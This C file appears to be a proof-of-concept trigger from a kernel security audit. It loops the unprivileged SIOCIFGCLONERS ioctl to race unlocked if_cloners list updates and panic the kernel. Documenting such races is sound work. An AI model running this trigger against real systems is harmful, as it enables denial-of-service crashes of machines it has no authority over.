/*
 * DF-0726 trigger — unprivileged reader side of the if_cloners race.
 *
 * Hammer SIOCIFGCLONERS (the *unprivileged* ioctl path, no caps_priv_check
 * per sys/net/if.c:2017-2018) in a tight loop.  The kernel reads the global
 * if_cloners list and if_cloners_count with NO lock (sys/net/if_clone.c:207,
 * :216, :219-221).  If a privileged writer (kldload/kldunload of an if_*.ko
 * cloner module) concurrently runs if_clone_attach()/if_clone_detach() — which
 * mutate the same list/count with NO lock (if_clone.c:147,166-167 and
 * :192-194) — the reader can dereference a list node whose backing module has
 * been unmapped, taking a fatal page fault in kernel mode (panic / DoS).
 *
 * Build:  cc -O2 -o reader reader.c
 * Run:    ./reader            (as unprivileged user; loops forever)
 *
 * This program is the *reader* half of the race.  The *writer* half is a root
 * kldload/kldunload loop, driven from run.sh via vm.sh run_root so the whole
 * demonstration stays within the permissive-audit guest model.
 */

#include <sys/ioctl.h>
#include <sys/socket.h>
#include <net/if.h>
#include <net/if_clone.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

int
main(void)
{
	int s, i, rc;
	char buf[IFNAMSIZ * 256];		/* room for many cloners */
	struct if_clonereq ifcr;

	if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
		perror("socket");
		return 2;
	}

	memset(&ifcr, 0, sizeof(ifcr));
	ifcr.ifcr_count = 256;
	ifcr.ifcr_buffer = buf;

	/* Tight loop: each ioctl traverses the if_cloners list unlocked. */
	for (i = 0; ; i++) {
		ifcr.ifcr_total = 0;
		rc = ioctl(s, SIOCIFGCLONERS, &ifcr);
		if (rc < 0) {
			/* EFAULT / ENOMEM under the race is itself evidence. */
			if (errno == EFAULT || errno == ENOMEM)
				fprintf(stderr,
				    "[reader] iter %d: suspicious errno=%d\n",
				    i, errno);
		}
		if ((i & 0x3fff) == 0)
			fprintf(stderr, "[reader] %d iters, total=%d\n",
			    i, ifcr.ifcr_total);
	}
	/* not reached */
	close(s);
	return 0;
}
